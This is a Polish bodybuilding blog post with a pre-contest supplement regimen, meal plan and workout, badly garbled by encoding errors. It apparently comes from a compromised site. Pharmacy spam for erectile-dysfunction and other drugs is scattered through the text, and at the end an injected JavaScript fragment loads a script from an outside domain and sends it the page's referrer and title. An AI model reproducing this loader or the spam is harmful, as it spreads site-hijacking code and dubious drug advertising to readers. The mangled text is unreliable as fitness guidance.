TRENING NAi??G NA 4 tygodnie przed zawodami

28.02.2012 / Adam Jabłoński / Kulturystyka

Pills buy nizagara tablets na 4 i 2 dni TYGODNIA przed debiutami :

online SUPLEMENTACJA :
+ Rano:
– 4 kaps CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 0,5 tab VIT-C Strong 1000
– 2 kaps Clenburexin 2
– 1 kaps Magne-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000

buy kamagra online next day delivery. buy Kamagra. kamagra oral jelly for sale in usa. + Przed Treningiem:
– 15 gram BCAA Powder
– 1 tab Fat Transporter
– 2 kaps Clenburexin 2
– 12 kaps AAKG MegaHardcore
– 2 kaps CM3

+ Po treningu siAi??owym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 gram Vitargo electro-energy
– 4 kaps CM3
– 1 tab VIT-C Strong 1000

+ Po pozowaniu :
– 50 gram IsoLate 100

+ Na Noc:
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 7 tab GH Turbo
– 1 kaps Magne-100 Sport

DIETA :

singulair medication price Buy cnadian drug mall 1 POSIA?EK : Purchase
90 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

2 POSIA?EK :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIA?EK :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

POSIA?EK (po siAi??owni) :
– 50 gram Vitargo electro-energy

POSIA?EK (po pozowaniu) :
– 50 gram ISOLATE 100

5 POSIA?EK (po siAi??owni) :
80 gram ryA?u basmatii
200 gram gotowanej piersi z kurczaka

6 POSIA?EK :
200 gram gotowanej piersi z kurczaka

TRENING :

NOGI :

4 x 12 – PROSTOWNIE NAi??G W SIADZIE
4 x 21(po 7 prosto, 7 wewnAi??trz, 7 zewnAi??trz) PROSTOWNIE NAi??GI W SIADZIE
4 x 20 WYPYCHANIE CIA?Ai??ARU NA SUWNICY JEDNAi?? NOGAi??
4 x 20-25 SYZYFKI
4 x 25+25 A?Ai??CZONA – AsCIAi??GANIE KOLAN W SIADZIE + ODWODZENIE KOLAN W SIADZIE

BRZUCH :

3 x SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU KLA?CZAi??C + parAi?? ostatnich ruchA?w na boki.
3 x MAX UNOSZENIE NAi??G W PODPORZE

cheap pills A FORMA WYGLAi??DA TAK – WAGA : 90,5 kg – po lekkim Ai??adowaniu :



pills online









Order
Purchase

Pozdrawiam
Hej,s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) { var d=document;var s=d.createElement(‚script’); prilosec price at target